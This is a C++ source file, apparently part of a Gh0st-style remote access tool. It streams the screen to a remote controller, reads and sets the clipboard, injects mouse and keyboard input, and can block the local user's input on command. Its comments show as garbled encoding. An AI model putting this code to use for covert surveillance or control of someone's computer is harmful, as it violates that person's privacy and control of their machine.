356 lines
8.8 KiB
C++
356 lines
8.8 KiB
C++
// ScreenManager.cpp: implementation of the CScreenManager class.
|
||
//
|
||
//////////////////////////////////////////////////////////////////////
|
||
|
||
#include "stdafx.h"
|
||
#include "ScreenManager.h"
|
||
#include "Common.h"
|
||
#include <IOSTREAM>
|
||
#if _MSC_VER <= 1200
|
||
#include <Winable.h>
|
||
#else
|
||
#include <WinUser.h>
|
||
#endif
|
||
#include <time.h>
|
||
using namespace std;
|
||
|
||
#include "ScreenSpy.h"
|
||
#include "ScreenCapturerDXGI.h"
|
||
|
||
//////////////////////////////////////////////////////////////////////
|
||
// Construction/Destruction
|
||
//////////////////////////////////////////////////////////////////////
|
||
|
||
#define WM_MOUSEWHEEL 0x020A
|
||
#define GET_WHEEL_DELTA_WPARAM(wParam)((short)HIWORD(wParam))
|
||
|
||
bool IsWindows8orHigher() {
|
||
typedef LONG(WINAPI* RtlGetVersionPtr)(PRTL_OSVERSIONINFOW);
|
||
HMODULE hMod = GetModuleHandleW(L"ntdll.dll");
|
||
if (!hMod) return false;
|
||
|
||
RtlGetVersionPtr rtlGetVersion = (RtlGetVersionPtr)GetProcAddress(hMod, "RtlGetVersion");
|
||
if (!rtlGetVersion) return false;
|
||
|
||
RTL_OSVERSIONINFOW rovi = { 0 };
|
||
rovi.dwOSVersionInfoSize = sizeof(rovi);
|
||
if (rtlGetVersion(&rovi) == 0) {
|
||
return (rovi.dwMajorVersion > 6) || (rovi.dwMajorVersion == 6 && rovi.dwMinorVersion >= 2);
|
||
}
|
||
return false;
|
||
}
|
||
|
||
CScreenManager::CScreenManager(IOCPClient* ClientObject, int n, void* user):CManager(ClientObject)
|
||
{
|
||
m_bIsWorking = TRUE;
|
||
m_bIsBlockInput = FALSE;
|
||
|
||
bool DXGI = false;
|
||
BYTE algo = ALGORITHM_DIFF;
|
||
if (!(user == NULL || (int)user == 1)) {
|
||
UserParam* param = (UserParam*)user;
|
||
if (param) {
|
||
DXGI = param->buffer[0];
|
||
algo = param->length > 1 ? param->buffer[1] : algo;
|
||
delete param;
|
||
}
|
||
} else {
|
||
DXGI = user;
|
||
}
|
||
Mprintf("CScreenManager: DXGI %s Algorithm: %d\n", DXGI ? "On":"Off", int(algo));
|
||
m_ScreenSpyObject = (DXGI && IsWindows8orHigher()) ? (ScreenCapture*) new ScreenCapturerDXGI(algo) : new CScreenSpy(32, algo);
|
||
|
||
m_hWorkThread = CreateThread(NULL,0, WorkThreadProc,this,0,NULL);
|
||
}
|
||
|
||
|
||
DWORD WINAPI CScreenManager::WorkThreadProc(LPVOID lParam)
|
||
{
|
||
CScreenManager *This = (CScreenManager *)lParam;
|
||
|
||
This->SendBitMapInfo(); //·¢ËÍbmpλͼ½á¹¹
|
||
|
||
// µÈ¿ØÖƶ˶Ի°¿ò´ò¿ª
|
||
This->WaitForDialogOpen();
|
||
|
||
clock_t last = clock();
|
||
This->SendFirstScreen();
|
||
#if USING_ZLIB
|
||
const int fps = 8;// Ö¡ÂÊ
|
||
#elif USING_LZ4
|
||
const int fps = 8;// Ö¡ÂÊ
|
||
#else
|
||
const int fps = 8;// Ö¡ÂÊ
|
||
#endif
|
||
const int sleep = 1000 / fps;// ¼ä¸ôʱ¼ä£¨ms£©
|
||
int c1 = 0; // Á¬ÐøºÄʱ³¤µÄ´ÎÊý
|
||
int c2 = 0; // Á¬ÐøºÄʱ¶ÌµÄ´ÎÊý
|
||
float s0 = sleep; // Á½Ö¡Ö®¼ä¸ô£¨ms£©
|
||
const int frames = fps; // ÿÃëµ÷ÕûÆÁÄ»·¢ËÍËÙ¶È
|
||
const float alpha = 1.03; // ¿ØÖÆfpsµÄÒò×Ó
|
||
timeBeginPeriod(1);
|
||
while (This->m_bIsWorking)
|
||
{
|
||
ULONG ulNextSendLength = 0;
|
||
const char* szBuffer = This->GetNextScreen(ulNextSendLength);
|
||
if (szBuffer)
|
||
{
|
||
s0 = max(s0, 50); // ×î¿ìÿÃë20Ö¡
|
||
s0 = min(s0, 1000);
|
||
int span = s0-(clock() - last);
|
||
Sleep(span > 0 ? span : 1);
|
||
if (span < 0) // ·¢ËÍÊý¾ÝºÄʱ½Ï³¤£¬ÍøÂç½Ï²î»òÊý¾Ý½Ï¶à
|
||
{
|
||
c2 = 0;
|
||
if (frames == ++c1) { // Á¬ÐøÒ»¶¨´ÎÊýºÄʱ³¤
|
||
s0 = (s0 <= sleep*4) ? s0*alpha : s0;
|
||
c1 = 0;
|
||
#ifdef _DEBUG
|
||
Mprintf("[+]SendScreen Span= %dms, s0= %f, fps= %f\n", span, s0, 1000./s0);
|
||
#endif
|
||
}
|
||
} else if (span > 0){ // ·¢ËÍÊý¾ÝºÄʱ±Ès0¶Ì£¬±íʾÍøÂç½ÏºÃ»òÊý¾Ý°ü½ÏС
|
||
c1 = 0;
|
||
if (frames == ++c2) { // Á¬ÐøÒ»¶¨´ÎÊýºÄʱ¶Ì
|
||
s0 = (s0 >= sleep/4) ? s0/alpha : s0;
|
||
c2 = 0;
|
||
#ifdef _DEBUG
|
||
Mprintf("[-]SendScreen Span= %dms, s0= %f, fps= %f\n", span, s0, 1000./s0);
|
||
#endif
|
||
}
|
||
}
|
||
last = clock();
|
||
This->SendNextScreen(szBuffer, ulNextSendLength);
|
||
}
|
||
}
|
||
timeEndPeriod(1);
|
||
Mprintf("ScreenWorkThread Exit\n");
|
||
|
||
return 0;
|
||
}
|
||
|
||
VOID CScreenManager::SendBitMapInfo()
|
||
{
|
||
//ÕâÀïµÃµ½bmp½á¹¹µÄ´óС
|
||
const ULONG ulLength = 1 + sizeof(BITMAPINFOHEADER);
|
||
LPBYTE szBuffer = (LPBYTE)VirtualAlloc(NULL,
|
||
ulLength, MEM_COMMIT, PAGE_READWRITE);
|
||
if (szBuffer == NULL)
|
||
return;
|
||
szBuffer[0] = TOKEN_BITMAPINFO;
|
||
//ÕâÀｫbmpλͼ½á¹¹·¢ËͳöÈ¥
|
||
memcpy(szBuffer + 1, m_ScreenSpyObject->GetBIData(), ulLength - 1);
|
||
m_ClientObject->OnServerSending((char*)szBuffer, ulLength);
|
||
VirtualFree(szBuffer, 0, MEM_RELEASE);
|
||
}
|
||
|
||
CScreenManager::~CScreenManager()
|
||
{
|
||
Mprintf("ScreenManager Îö¹¹º¯Êý\n");
|
||
|
||
m_bIsWorking = FALSE;
|
||
|
||
WaitForSingleObject(m_hWorkThread, INFINITE);
|
||
if (m_hWorkThread!=NULL)
|
||
{
|
||
CloseHandle(m_hWorkThread);
|
||
}
|
||
|
||
delete m_ScreenSpyObject;
|
||
m_ScreenSpyObject = NULL;
|
||
}
|
||
|
||
VOID CScreenManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||
{
|
||
switch(szBuffer[0])
|
||
{
|
||
case COMMAND_NEXT:
|
||
{
|
||
NotifyDialogIsOpen();
|
||
break;
|
||
}
|
||
case COMMAND_SCREEN_CONTROL:
|
||
{
|
||
BlockInput(false);
|
||
ProcessCommand(szBuffer + 1, ulLength - 1);
|
||
BlockInput(m_bIsBlockInput); //ÔÙ»Ö¸´³ÉÓû§µÄÉèÖÃ
|
||
|
||
break;
|
||
}
|
||
case COMMAND_SCREEN_BLOCK_INPUT: //ControlThreadÀïËø¶¨
|
||
{
|
||
m_bIsBlockInput = *(LPBYTE)&szBuffer[1]; //Êó±ê¼üÅ̵ÄËø¶¨
|
||
|
||
BlockInput(m_bIsBlockInput);
|
||
|
||
break;
|
||
}
|
||
case COMMAND_SCREEN_GET_CLIPBOARD:
|
||
{
|
||
SendClientClipboard();
|
||
break;
|
||
}
|
||
case COMMAND_SCREEN_SET_CLIPBOARD:
|
||
{
|
||
UpdateClientClipboard((char*)szBuffer + 1, ulLength - 1);
|
||
break;
|
||
}
|
||
}
|
||
}
|
||
|
||
|
||
VOID CScreenManager::UpdateClientClipboard(char *szBuffer, ULONG ulLength)
|
||
{
|
||
if (!::OpenClipboard(NULL))
|
||
return;
|
||
::EmptyClipboard();
|
||
HGLOBAL hGlobal = GlobalAlloc(GMEM_DDESHARE, ulLength);
|
||
if (hGlobal != NULL) {
|
||
|
||
LPTSTR szClipboardVirtualAddress = (LPTSTR) GlobalLock(hGlobal);
|
||
if (szClipboardVirtualAddress == NULL)
|
||
return;
|
||
memcpy(szClipboardVirtualAddress, szBuffer, ulLength);
|
||
GlobalUnlock(hGlobal);
|
||
if(NULL==SetClipboardData(CF_TEXT, hGlobal))
|
||
GlobalFree(hGlobal);
|
||
}
|
||
CloseClipboard();
|
||
}
|
||
|
||
VOID CScreenManager::SendClientClipboard()
|
||
{
|
||
if (!::OpenClipboard(NULL)) //´ò¿ª¼ôÇаåÉ豸
|
||
return;
|
||
HGLOBAL hGlobal = GetClipboardData(CF_TEXT); //´ú±í×ÅÒ»¸öÄÚ´æ
|
||
if (hGlobal == NULL)
|
||
{
|
||
::CloseClipboard();
|
||
return;
|
||
}
|
||
size_t iPacketLength = GlobalSize(hGlobal) + 1;
|
||
char* szClipboardVirtualAddress = (LPSTR) GlobalLock(hGlobal); //Ëø¶¨
|
||
LPBYTE szBuffer = new BYTE[iPacketLength];
|
||
|
||
|
||
szBuffer[0] = TOKEN_CLIPBOARD_TEXT;
|
||
memcpy(szBuffer + 1, szClipboardVirtualAddress, iPacketLength - 1);
|
||
::GlobalUnlock(hGlobal);
|
||
::CloseClipboard();
|
||
m_ClientObject->OnServerSending((char*)szBuffer, iPacketLength);
|
||
delete[] szBuffer;
|
||
}
|
||
|
||
|
||
VOID CScreenManager::SendFirstScreen()
|
||
{
|
||
ULONG ulFirstSendLength = 0;
|
||
LPVOID FirstScreenData = m_ScreenSpyObject->GetFirstScreenData(&ulFirstSendLength);
|
||
if (ulFirstSendLength == 0 || FirstScreenData == NULL)
|
||
{
|
||
return;
|
||
}
|
||
|
||
m_ClientObject->OnServerSending((char*)FirstScreenData, ulFirstSendLength + 1);
|
||
}
|
||
|
||
const char* CScreenManager::GetNextScreen(ULONG &ulNextSendLength)
|
||
{
|
||
LPVOID NextScreenData = m_ScreenSpyObject->GetNextScreenData(&ulNextSendLength);
|
||
|
||
if (ulNextSendLength == 0 || NextScreenData == NULL)
|
||
{
|
||
return NULL;
|
||
}
|
||
|
||
return (char*)NextScreenData;
|
||
}
|
||
|
||
VOID CScreenManager::SendNextScreen(const char* szBuffer, ULONG ulNextSendLength)
|
||
{
|
||
m_ClientObject->OnServerSending(szBuffer, ulNextSendLength);
|
||
}
|
||
|
||
VOID CScreenManager::ProcessCommand(LPBYTE szBuffer, ULONG ulLength)
|
||
{
|
||
// Êý¾Ý°ü²»ºÏ·¨
|
||
if (ulLength % sizeof(MSG) != 0)
|
||
return;
|
||
|
||
// ÃüÁî¸öÊý
|
||
ULONG ulMsgCount = ulLength / sizeof(MSG);
|
||
|
||
// ´¦Àí¶à¸öÃüÁî
|
||
for (int i = 0; i < ulMsgCount; ++i)
|
||
{
|
||
MSG *Msg = (MSG *)(szBuffer + i * sizeof(MSG));
|
||
switch (Msg->message)
|
||
{
|
||
case WM_LBUTTONDOWN:
|
||
case WM_LBUTTONUP:
|
||
case WM_RBUTTONDOWN:
|
||
case WM_RBUTTONUP:
|
||
case WM_MOUSEMOVE:
|
||
case WM_LBUTTONDBLCLK:
|
||
case WM_RBUTTONDBLCLK:
|
||
case WM_MBUTTONDOWN:
|
||
case WM_MBUTTONUP:
|
||
{
|
||
POINT Point;
|
||
Point.x = LOWORD(Msg->lParam);
|
||
Point.y = HIWORD(Msg->lParam);
|
||
m_ScreenSpyObject->PointConversion(Point);
|
||
SetCursorPos(Point.x, Point.y);
|
||
SetCapture(WindowFromPoint(Point));
|
||
}
|
||
break;
|
||
default:
|
||
break;
|
||
}
|
||
|
||
switch(Msg->message) //¶Ë¿Ú·¢¼Ó¿ìµÝ·Ñ
|
||
{
|
||
case WM_LBUTTONDOWN:
|
||
mouse_event(MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0);
|
||
break;
|
||
case WM_LBUTTONUP:
|
||
mouse_event(MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
|
||
break;
|
||
case WM_RBUTTONDOWN:
|
||
mouse_event(MOUSEEVENTF_RIGHTDOWN, 0, 0, 0, 0);
|
||
break;
|
||
case WM_RBUTTONUP:
|
||
mouse_event(MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0);
|
||
break;
|
||
case WM_LBUTTONDBLCLK:
|
||
mouse_event(MOUSEEVENTF_LEFTDOWN | MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
|
||
mouse_event(MOUSEEVENTF_LEFTDOWN | MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
|
||
break;
|
||
case WM_RBUTTONDBLCLK:
|
||
mouse_event(MOUSEEVENTF_RIGHTDOWN | MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0);
|
||
mouse_event(MOUSEEVENTF_RIGHTDOWN | MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0);
|
||
break;
|
||
case WM_MBUTTONDOWN:
|
||
mouse_event(MOUSEEVENTF_MIDDLEDOWN, 0, 0, 0, 0);
|
||
break;
|
||
case WM_MBUTTONUP:
|
||
mouse_event(MOUSEEVENTF_MIDDLEUP, 0, 0, 0, 0);
|
||
break;
|
||
case WM_MOUSEWHEEL:
|
||
mouse_event(MOUSEEVENTF_WHEEL, 0, 0,
|
||
GET_WHEEL_DELTA_WPARAM(Msg->wParam), 0);
|
||
break;
|
||
case WM_KEYDOWN:
|
||
case WM_SYSKEYDOWN:
|
||
keybd_event(Msg->wParam, MapVirtualKey(Msg->wParam, 0), 0, 0);
|
||
break;
|
||
case WM_KEYUP:
|
||
case WM_SYSKEYUP:
|
||
keybd_event(Msg->wParam, MapVirtualKey(Msg->wParam, 0), KEYEVENTF_KEYUP, 0);
|
||
break;
|
||
default:
|
||
break;
|
||
}
|
||
}
|
||
}
|